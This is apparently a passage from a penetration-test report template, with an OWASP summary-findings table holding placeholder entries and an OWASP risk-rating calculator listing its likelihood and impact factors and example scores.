into a single request. This could be used for data extraction or brute-forcing without
being detected by security measures like WAFs or rate limiters.
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes

Notes
Notes
Notes
Notes
OWASP: Summary Findings

Nº OTG Vulnerability Name Affected Host/Path Impact Likelihood Risk

www.example.com/news.php
1 WSTG-INFO-02 Fingerprint Web Server High Moderate High
(id,page)
Conduct Search Engine Discovery
www.example.com/news.php
2 WSTG-INFO-02 Reconnaissance for Information High Moderate High
(id,page)
Leakage
Conduct Search Engine Discovery
www.example.com/news.php
3 WSTG-INFO-02 Reconnaissance for Information High Moderate High
(id,page)
Leakage
Observation/Implication Recommendation Test Evidence

xxx-1
OWASP: Risk Assessment Calculator

Likelihood factors

Threat Agent Factors

Skills required Some technical skills [3] 3

Motive Possible reward [4] 4
Opportunity Full access or expensive resources required [0] 0
Population Size System Administrators [2] 2

Vulnerability Factors

Easy of Discovery Practically impossible [1] 1

Ease of Exploit Easy [5] 5
Awareness Hidden [4] 4
Intrusion Detection Logged and reviewed [3] 3

Likelihood score: 2.75

Overall Risk Severity : Low

Impact
Likelihood Low ->Moderate<- High
->Low<- Note ->Low<- Moderate

Moderate Low Moderate High

High Moderate High Critical

Impact factors

Technical Impact Factors

Loss of confidentiality Minimal non-sensitive data disclosed [2] 2

Loss of Integrity All data totally corrupt [9] 9
Loss of Availability Minimal secondary services interrupted [1] 1
Loss of Accountability Not Applicable [0] 0

Business Impact Factors

Financial damage Minor effect on annual profit [3] 3

Reputation damage Loss of major accounts [4] 4
Non-Compliance Clear violation [5] 5
Privacy violation One individual [3] 3

Impact score: 3.375

Skills required Motive Opportunity
Select an option Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0 Full access or expensive resources required [0] 0
No technical skills [1] 1 Low or no reward [1] 1 Special access or resources required [4] 4
Some technical skills [3] 3 Possible reward [4] 4 Some access or resources required [7] 7
Advanced computer user [5] 5 High reward [9] 9 No access or resources required [9] 9
Network and programming skills [6] 6
Security penetration skills [9] 9

Loss of confidentiality Loss of Integrity Loss of Availability

Select an option Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0 Not Applicable [0] 0
Minimal non-sensitive data disclosed [2] 2 Minimal slightly corrupt data [1] 1 Minimal secondary services interrupted [1] 1
Extensive non-sensitive data disclosed [6] 6 Minimal seriously corrupt data [3] 3 Minimal primary services interrupted [5] 5
Extensive critical data disclosed [7] 7 Extensive slightly corrupt data [5] 5 Extensive primary services interrupted [7] 7
All data disclosed [9] 9 Extensive seriously corrupt data [7] 7 All services completely lost [9] 9
All data totally corrupt [9] 9
Population Size Easy of Discovery Ease of Exploit
Select an option Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0 Not Applicable [0] 0
System Administrators [2] 2 Practically impossible [1] 1 Theoretical [1] 1
Intranet Users [4] 4 Difficult [3] 3 Difficult [3] 3
Partners [5] 5 Easy [7] 7 Easy [5] 5
Authenticated users [6] 6 Automated tools available [9] 9 Automated tools available [9] 9
Anonymous Internet users [9] 9

Loss of Accountability Financial damage Reputation damage

Select an option Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0 Not Applicable [0] 0
Attack fully traceable to individual [1] 1 Damage costs less than to fix the issue [1] 1 Minimal damage [1] 1
Attack possibly traceable to individual [7] 7 Minor effect on annual profit [3] 3 Loss of major accounts [4] 4
Attack completely anonymous [9] 9 Significant effect on annual profit [7] 7 Loss of goodwill [5] 5
Backruptcy [9] 9 Brand damage [9] 9
Awareness Intrusion Detection
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Unknown [1] 1 Active detection in application [1] 1
Hidden [4] 4 Logged and reviewed [3] 3
Obvious [6] 6 Logged without review [8] 8
Public knowledge [9] 9 Not logged [9] 9

Non-Compliance Privacy violation

Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Minor violation [2] 2 One individual [3] 3
Clear violation [5] 5 Hundreds of people [5] 5
High profile violation [7] 7 Thousands of people [7] 7
Millions of people [9] 9